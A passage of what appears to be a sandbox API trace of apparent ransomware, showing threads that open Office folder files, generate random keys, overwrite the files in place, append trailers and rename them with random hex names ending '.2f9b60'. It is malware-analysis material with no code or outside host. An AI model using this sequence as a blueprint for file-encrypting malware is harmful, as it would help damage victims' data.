Office\\Office14\\1033\\e5ece904f0c4") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\e5ece904f0c4" [0203.440] wcscat (in: _Dest=0x202af340, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\e5ece904f0c4.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\e5ece904f0c4.2f9b60" [0203.440] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\e5ece904f0c4.2f9b60", NtPathName=0x3b93fbf0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\e5ece904f0c4.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0203.440] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa6) returned 0x431f2720 Thread: id = 2180 os_tid = 0x15b8 [0140.321] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FLOCH.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\floch.vrd")) returned 0x20 [0140.322] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FLOCH.VRD", dwFileAttributes=0x20) returned 1 [0140.801] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FLOCH.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\floch.vrd"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1ee0 [0144.444] GetFileSizeEx (in: hFile=0x1ee0, lpFileSize=0x3b13f800 | out: lpFileSize=0x3b13f800*=2028) returned 1 [0144.444] SetFilePointerEx (in: hFile=0x1ee0, liDistanceToMove=0x7e8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.444] ReadFile (in: hFile=0x1ee0, lpBuffer=0x3b13f780, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3b13f7c8, lpOverlapped=0x0 | out: lpBuffer=0x3b13f780*, lpNumberOfBytesRead=0x3b13f7c8*=0x4, lpOverlapped=0x0) returned 1 [0144.500] SetFilePointerEx (in: hFile=0x1ee0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.500] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fde40 [0144.500] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff610 [0144.501] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff2e0 [0144.501] NtQuerySystemTime (in: CurrentTime=0x3b13f6c0 | out: CurrentTime=0x3b13f6c0*=132462177497362000) returned 0x0 [0144.501] RtlRandomEx (in: Seed=0x3b13f6b0 | out: Seed=0x3b13f6b0) returned 0x5b5eb7f8 [0144.501] RtlRandomEx (in: Seed=0x3b13f6b0 | out: Seed=0x3b13f6b0) returned 0x436830cc [0144.501] RtlRandomEx (in: Seed=0x3b13f6b0 | out: Seed=0x3b13f6b0) returned 0x4733588b [0144.501] RtlRandomEx (in: Seed=0x3b13f6b0 | out: Seed=0x3b13f6b0) returned 0x16bb6a70 [0144.501] RtlRandomEx (in: Seed=0x3b13f6b0 | out: Seed=0x3b13f6b0) returned 0x82ee8da [0144.501] RtlRandomEx (in: Seed=0x3b13f6b0 | out: Seed=0x3b13f6b0) returned 0x401f7bd5 [0144.501] RtlRandomEx (in: Seed=0x3b13f6b0 | out: Seed=0x3b13f6b0) returned 0x7529a2d [0144.501] RtlRandomEx (in: Seed=0x3b13f6b0 | out: Seed=0x3b13f6b0) returned 0x32c2a03a [0144.501] RtlRandomEx (in: Seed=0x3b13f6b0 | out: Seed=0x3b13f6b0) returned 0x4f3ec985 [0144.501] RtlRandomEx (in: Seed=0x3b13f6b0 | out: Seed=0x3b13f6b0) returned 0x7e3025d [0144.501] RtlRandomEx (in: Seed=0x3b13f6b0 | out: Seed=0x3b13f6b0) returned 0x535dc491 [0144.501] RtlRandomEx (in: Seed=0x3b13f6b0 | out: Seed=0x3b13f6b0) returned 0xf42ee9b [0144.501] RtlRandomEx (in: Seed=0x3b13f6b0 | out: Seed=0x3b13f6b0) returned 0xe3563da [0144.501] RtlRandomEx (in: Seed=0x3b13f6b0 | out: Seed=0x3b13f6b0) returned 0x34db7ca5 [0144.501] RtlRandomEx (in: Seed=0x3b13f6b0 | out: Seed=0x3b13f6b0) returned 0x2d60113c [0144.501] RtlRandomEx (in: Seed=0x3b13f6b0 | out: Seed=0x3b13f6b0) returned 0x2b63698f [0144.501] RtlRandomEx (in: Seed=0x3b13f6b0 | out: Seed=0x3b13f6b0) returned 0x749958ec [0144.501] RtlRandomEx (in: Seed=0x3b13f6b0 | out: Seed=0x3b13f6b0) returned 0x45f97fb7 [0144.501] RtlRandomEx (in: Seed=0x3b13f6b0 | out: Seed=0x3b13f6b0) returned 0x70ae90d6 [0144.501] RtlRandomEx (in: Seed=0x3b13f6b0 | out: Seed=0x3b13f6b0) returned 0x1f338b0c [0144.501] RtlRandomEx (in: Seed=0x3b13f6b0 | out: Seed=0x3b13f6b0) returned 0x1cef53f1 [0144.501] RtlRandomEx (in: Seed=0x3b13f6b0 | out: Seed=0x3b13f6b0) returned 0x4b4923ba [0144.501] RtlRandomEx (in: Seed=0x3b13f6b0 | out: Seed=0x3b13f6b0) returned 0x19b6c9c8 [0144.501] RtlRandomEx (in: Seed=0x3b13f6b0 | out: Seed=0x3b13f6b0) returned 0x47c1b279 [0144.501] RtlRandomEx (in: Seed=0x3b13f6b0 | out: Seed=0x3b13f6b0) returned 0x350336 [0144.501] RtlRandomEx (in: Seed=0x3b13f6b0 | out: Seed=0x3b13f6b0) returned 0x23c9b509 [0144.502] RtlRandomEx (in: Seed=0x3b13f6b0 | out: Seed=0x3b13f6b0) returned 0x5a7967b0 [0144.502] RtlRandomEx (in: Seed=0x3b13f6b0 | out: Seed=0x3b13f6b0) returned 0x23e0dac3 [0144.502] RtlRandomEx (in: Seed=0x3b13f6b0 | out: Seed=0x3b13f6b0) returned 0x484e91d2 [0144.502] RtlRandomEx (in: Seed=0x3b13f6b0 | out: Seed=0x3b13f6b0) returned 0x6e4d5828 [0144.502] RtlRandomEx (in: Seed=0x3b13f6b0 | out: Seed=0x3b13f6b0) returned 0x4fb4f734 [0144.502] RtlRandomEx (in: Seed=0x3b13f6b0 | out: Seed=0x3b13f6b0) returned 0x343db638 [0144.510] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff220 [0144.510] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061eb0 [0144.510] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff1f0 [0144.511] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061eb0) returned 1 [0144.511] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff2e0) returned 1 [0144.511] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fde40) returned 1 [0144.511] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059c40 [0144.511] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061eb0 [0144.511] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fde40 [0144.511] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fde40) returned 1 [0144.511] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42335950 [0144.511] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4232a520 [0144.512] ReadFile (in: hFile=0x1ee0, lpBuffer=0x42335950, nNumberOfBytesToRead=0x7ec, lpNumberOfBytesRead=0x3b13f6b0, lpOverlapped=0x0 | out: lpBuffer=0x42335950*, lpNumberOfBytesRead=0x3b13f6b0*=0x7ec, lpOverlapped=0x0) returned 1 [0144.512] SetFilePointerEx (in: hFile=0x1ee0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.512] WriteFile (hFile=0x1ee0, lpBuffer=0x4232a520, nNumberOfBytesToWrite=0x7ec, lpNumberOfBytesWritten=0x3b13f6b4, lpOverlapped=0x0) [0172.960] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3d90 [0172.960] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3cd0 [0172.961] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3cd0) returned 1 [0172.961] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4232a520) returned 1 [0172.961] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42335950) returned 1 [0172.962] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061eb0) returned 1 [0172.962] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059c40) returned 1 [0172.962] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3cd0 [0172.962] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059c40 [0172.963] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061eb0 [0172.963] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3ca0 [0172.963] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3ca0) returned 1 [0172.963] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3ca0 [0172.964] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3be0 [0172.964] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3c40 [0172.964] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3c40) returned 1 [0172.965] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061eb0) returned 1 [0172.965] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059c40) returned 1 [0172.965] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x104) returned 0x42c163c0 [0172.965] SetFilePointerEx (in: hFile=0x1ee0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0172.965] WriteFile (in: hFile=0x1ee0, lpBuffer=0x42c163c0*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x3b13f7d0, lpOverlapped=0x0 | out: lpBuffer=0x42c163c0*, lpNumberOfBytesWritten=0x3b13f7d0*=0x104, lpOverlapped=0x0) returned 1 [0199.994] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420591a0 [0199.995] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420614b0 [0199.995] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205ba00 [0199.996] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205ba00) returned 1 [0199.996] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x12) returned 0x42c0f0e0 [0199.996] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205ba00 [0199.996] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b9d0 [0199.997] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205b9d0) returned 1 [0199.997] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420614b0) returned 1 [0199.998] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420591a0) returned 1 [0199.998] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x25) returned 0x4205b9d0 [0199.998] sprintf (in: _Dest=0x4205b9d0, _Format="%c%c" | out: _Dest="7e") returned 2 [0199.998] sprintf (in: _Dest=0x4205b9d2, _Format="%c%c" | out: _Dest="ed") returned 2 [0199.998] sprintf (in: _Dest=0x4205b9d4, _Format="%c%c" | out: _Dest="81") returned 2 [0199.998] sprintf (in: _Dest=0x4205b9d6, _Format="%c%c" | out: _Dest="83") returned 2 [0199.998] sprintf (in: _Dest=0x4205b9d8, _Format="%c%c" | out: _Dest="61") returned 2 [0199.998] sprintf (in: _Dest=0x4205b9da, _Format="%c%c" | out: _Dest="36") returned 2 [0199.998] sprintf (in: _Dest=0x4205b9dc, _Format="%c%c" | out: _Dest="89") returned 2 [0199.998] sprintf (in: _Dest=0x4205b9de, _Format="%c%c" | out: _Dest="03") returned 2 [0199.998] sprintf (in: _Dest=0x4205b9e0, _Format="%c%c" | out: _Dest="37") returned 2 [0199.998] sprintf (in: _Dest=0x4205b9e2, _Format="%c%c" | out: _Dest="29") returned 2 [0199.998] sprintf (in: _Dest=0x4205b9e4, _Format="%c%c" | out: _Dest="2c") returned 2 [0199.998] sprintf (in: _Dest=0x4205b9e6, _Format="%c%c" | out: _Dest="8c") returned 2 [0199.998] sprintf (in: _Dest=0x4205b9e8, _Format="%c%c" | out: _Dest="7b") returned 2 [0199.998] sprintf (in: _Dest=0x4205b9ea, _Format="%c%c" | out: _Dest="60") returned 2 [0199.998] sprintf (in: _Dest=0x4205b9ec, _Format="%c%c" | out: _Dest="5b") returned 2 [0199.999] sprintf (in: _Dest=0x4205b9ee, _Format="%c%c" | out: _Dest="11") returned 2 [0199.999] sprintf (in: _Dest=0x4205b9f0, _Format="%c%c" | out: _Dest="d0") returned 2 [0199.999] sprintf (in: _Dest=0x4205b9f2, _Format="%c%c" | out: _Dest="2b") returned 2 [0199.999] RtlInitAnsiString (in: DestinationString=0x3b13f848, SourceString="7eed81836136890337292c8c7b605b11d02b" | out: DestinationString="7eed81836136890337292c8c7b605b11d02b") [0199.999] RtlAnsiStringToUnicodeString (in: DestinationString=0x3b13f818, SourceString="7eed81836136890337292c8c7b605b11d02b", AllocateDestinationString=1 | out: DestinationString="7eed81836136890337292c8c7b605b11d02b") returned 0x0 [0199.999] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4a) returned 0x1b8584f0 [0199.999] wcscat (in: _Dest=0x431d9a40, _Source="7eed81836" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\7eed81836") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\7eed81836" [0200.000] wcscat (in: _Dest=0x431d9a40, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\7eed81836.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\7eed81836.2f9b60" [0200.000] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\7eed81836.2f9b60", NtPathName=0x3b13f7f0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\7eed81836.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0200.000] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa0) returned 0x431f39b0 Thread: id = 2181 os_tid = 0x15d8 [0140.324] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FOREST.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\forest.css")) returned 0x20 [0140.328] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FOREST.CSS", dwFileAttributes=0x20) returned 1 [0140.801] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FOREST.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\forest.css"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1f90 [0142.251] GetFileSizeEx (in: hFile=0x1f90, lpFileSize=0x3baaf9a0 | out: lpFileSize=0x3baaf9a0*=3450) returned 1 [0142.251] SetFilePointerEx (in: hFile=0x1f90, liDistanceToMove=0xd76, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.251] ReadFile (in: hFile=0x1f90, lpBuffer=0x3baaf920, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3baaf968, lpOverlapped=0x0 | out: lpBuffer=0x3baaf920*, lpNumberOfBytesRead=0x3baaf968*=0x4, lpOverlapped=0x0) returned 1 [0142.255] SetFilePointerEx (in: hFile=0x1f90, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.255] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe6e0 [0142.255] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fec20 [0142.255] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fecb0 [0142.255] NtQuerySystemTime (in: CurrentTime=0x3baaf860 | out: CurrentTime=0x3baaf860*=132462177474898000) returned 0x0 [0142.255] RtlRandomEx (in: Seed=0x3baaf850 | out: Seed=0x3baaf850) returned 0x41fa82e2 [0142.256] RtlRandomEx (in: Seed=0x3baaf850 | out: Seed=0x3baaf850) returned 0x254e872e [0142.256] RtlRandomEx (in: Seed=0x3baaf850 | out: Seed=0x3baaf850) returned 0x4adbeeed [0142.256] RtlRandomEx (in: Seed=0x3baaf850 | out: Seed=0x3baaf850) returned 0x196da550 [0142.256] RtlRandomEx (in: Seed=0x3baaf850 | out: Seed=0x3baaf850) returned 0x81316bb [0142.256] RtlRandomEx (in: Seed=0x3baaf850 | out: Seed=0x3baaf850) returned 0x3828c8bc [0142.256] RtlRandomEx (in: Seed=0x3baaf850 | out: Seed=0x3baaf850) returned 0x6a6c7f8d [0142.256] RtlRandomEx (in: Seed=0x3baaf850 | out: Seed=0x3baaf850) returned 0x1da4a391 [0142.256] RtlRandomEx (in: Seed=0x3baaf850 | out: Seed=0x3baaf850) returned 0x5f660956 [0142.256] RtlRandomEx (in: Seed=0x3baaf850 | out: Seed=0x3baaf850) returned 0x42255ba2 [0142.256] RtlRandomEx (in: Seed=0x3baaf850 | out: Seed=0x3baaf850) returned 0x18ee1d7d [0142.256] RtlRandomEx (in: Seed=0x3baaf850 | out: Seed=0x3baaf850) returned 0x16eac93e [0142.256] RtlRandomEx (in: Seed=0x3baaf850 | out: Seed=0x3baaf850) returned 0x5b6c2a1b [0142.256] RtlRandomEx (in: Seed=0x3baaf850 | out: Seed=0x3baaf850) returned 0x18fbf946 [0142.256] RtlRandomEx (in: Seed=0x3baaf850 | out: Seed=0x3baaf850) returned 0x48fe02dc [0142.256] RtlRandomEx (in: Seed=0x3baaf850 | out: Seed=0x3baaf850) returned 0x3d74c1a7 [0142.256] RtlRandomEx (in: Seed=0x3baaf850 | out: Seed=0x3baaf850) returned 0x32cf6d1d [0142.256] RtlRandomEx (in: Seed=0x3baaf850 | out: Seed=0x3baaf850) returned 0x771d10f3 [0142.256] RtlRandomEx (in: Seed=0x3baaf850 | out: Seed=0x3baaf850) returned 0x110c2b63 [0142.256] RtlRandomEx (in: Seed=0x3baaf850 | out: Seed=0x3baaf850) returned 0x6ea8ae5 [0142.256] RtlRandomEx (in: Seed=0x3baaf850 | out: Seed=0x3baaf850) returned 0x36a0b11a [0142.256] RtlRandomEx (in: Seed=0x3baaf850 | out: Seed=0x3baaf850) returned 0x595f8e56 [0142.256] RtlRandomEx (in: Seed=0x3baaf850 | out: Seed=0x3baaf850) returned 0x7b10a30d [0142.256] RtlRandomEx (in: Seed=0x3baaf850 | out: Seed=0x3baaf850) returned 0x5055d5d6 [0142.256] RtlRandomEx (in: Seed=0x3baaf850 | out: Seed=0x3baaf850) returned 0xa7b044 [0142.256] RtlRandomEx (in: Seed=0x3baaf850 | out: Seed=0x3baaf850) returned 0x235cf03c [0142.256] RtlRandomEx (in: Seed=0x3baaf850 | out: Seed=0x3baaf850) returned 0x65006f2f [0142.256] RtlRandomEx (in: Seed=0x3baaf850 | out: Seed=0x3baaf850) returned 0x31a1d562 [0142.256] RtlRandomEx (in: Seed=0x3baaf850 | out: Seed=0x3baaf850) returned 0x63b8d814 [0142.256] RtlRandomEx (in: Seed=0x3baaf850 | out: Seed=0x3baaf850) returned 0x35051eac [0142.256] RtlRandomEx (in: Seed=0x3baaf850 | out: Seed=0x3baaf850) returned 0xef8af51 [0142.256] RtlRandomEx (in: Seed=0x3baaf850 | out: Seed=0x3baaf850) returned 0x72bde6a5 [0142.264] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fece0 [0142.264] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866a40 [0142.265] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fed10 [0142.265] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866a40) returned 1 [0142.265] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fecb0) returned 1 [0142.265] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe6e0) returned 1 [0142.265] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059150 [0142.265] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866a40 [0142.265] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe6e0 [0142.265] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe6e0) returned 1 [0142.266] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x422a6d10 [0142.266] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x422aa920 [0142.266] ReadFile (in: hFile=0x1f90, lpBuffer=0x422a6d10, nNumberOfBytesToRead=0xd7a, lpNumberOfBytesRead=0x3baaf850, lpOverlapped=0x0 | out: lpBuffer=0x422a6d10*, lpNumberOfBytesRead=0x3baaf850*=0xd7a, lpOverlapped=0x0) returned 1 [0142.266] SetFilePointerEx (in: hFile=0x1f90, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.266] WriteFile (in: hFile=0x1f90, lpBuffer=0x422aa920*, nNumberOfBytesToWrite=0xd7a, lpNumberOfBytesWritten=0x3baaf854, lpOverlapped=0x0 | out: lpBuffer=0x422aa920*, lpNumberOfBytesWritten=0x3baaf854*=0xd7a, lpOverlapped=0x0) returned 1 [0143.362] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6ae0 [0143.362] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7c50 [0143.362] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7c50) returned 1 [0143.363] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422aa920) returned 1 [0143.363] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422a6d10) returned 1 [0143.363] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866a40) returned 1 [0143.363] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059150) returned 1 [0143.363] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x1ced7c50 [0143.363] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059150 [0143.363] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866a40 [0143.363] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6cf0 [0143.363] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced6cf0) returned 1 [0143.364] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x1ced6cf0 [0143.364] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced70b0 [0143.364] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced80a0 [0143.364] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced80a0) returned 1 [0143.364] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866a40) returned 1 [0143.364] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059150) returned 1 [0143.364] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x106) returned 0x169090 [0143.364] SetFilePointerEx (in: hFile=0x1f90, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0143.364] WriteFile (in: hFile=0x1f90, lpBuffer=0x169090*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x3baaf970, lpOverlapped=0x0 | out: lpBuffer=0x169090*, lpNumberOfBytesWritten=0x3baaf970*=0x106, lpOverlapped=0x0) returned 1 [0143.581] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059ce0 [0143.581] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59e30 [0143.581] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204febf0 [0143.581] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204febf0) returned 1 [0143.582] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b7d5a50 [0143.582] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204febf0 [0143.582] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204febc0 [0143.582] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204febc0) returned 1 [0143.582] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59e30) returned 1 [0143.582] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059ce0) returned 1 [0143.582] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x29) returned 0x1b7aa1a0 [0143.582] sprintf (in: _Dest=0x1b7aa1a0, _Format="%c%c" | out: _Dest="77") returned 2 [0143.582] sprintf (in: _Dest=0x1b7aa1a2, _Format="%c%c" | out: _Dest="93") returned 2 [0143.582] sprintf (in: _Dest=0x1b7aa1a4, _Format="%c%c" | out: _Dest="c8") returned 2 [0143.582] sprintf (in: _Dest=0x1b7aa1a6, _Format="%c%c" | out: _Dest="21") returned 2 [0143.583] sprintf (in: _Dest=0x1b7aa1a8, _Format="%c%c" | out: _Dest="f1") returned 2 [0143.583] sprintf (in: _Dest=0x1b7aa1aa, _Format="%c%c" | out: _Dest="b9") returned 2 [0143.583] sprintf (in: _Dest=0x1b7aa1ac, _Format="%c%c" | out: _Dest="38") returned 2 [0143.583] sprintf (in: _Dest=0x1b7aa1ae, _Format="%c%c" | out: _Dest="d0") returned 2 [0143.583] sprintf (in: _Dest=0x1b7aa1b0, _Format="%c%c" | out: _Dest="c8") returned 2 [0143.583] sprintf (in: _Dest=0x1b7aa1b2, _Format="%c%c" | out: _Dest="d6") returned 2 [0143.583] sprintf (in: _Dest=0x1b7aa1b4, _Format="%c%c" | out: _Dest="27") returned 2 [0143.583] sprintf (in: _Dest=0x1b7aa1b6, _Format="%c%c" | out: _Dest="20") returned 2 [0143.583] sprintf (in: _Dest=0x1b7aa1b8, _Format="%c%c" | out: _Dest="69") returned 2 [0143.583] sprintf (in: _Dest=0x1b7aa1ba, _Format="%c%c" | out: _Dest="66") returned 2 [0143.583] sprintf (in: _Dest=0x1b7aa1bc, _Format="%c%c" | out: _Dest="32") returned 2 [0143.583] sprintf (in: _Dest=0x1b7aa1be, _Format="%c%c" | out: _Dest="5b") returned 2 [0143.583] sprintf (in: _Dest=0x1b7aa1c0, _Format="%c%c" | out: _Dest="c5") returned 2 [0143.583] sprintf (in: _Dest=0x1b7aa1c2, _Format="%c%c" | out: _Dest="05") returned 2 [0143.583] sprintf (in: _Dest=0x1b7aa1c4, _Format="%c%c" | out: _Dest="5a") returned 2 [0143.583] sprintf (in: _Dest=0x1b7aa1c6, _Format="%c%c" | out: _Dest="75") returned 2 [0143.583] RtlInitAnsiString (in: DestinationString=0x3baaf9e8, SourceString="7793c821f1b938d0c8d627206966325bc5055a75" | out: 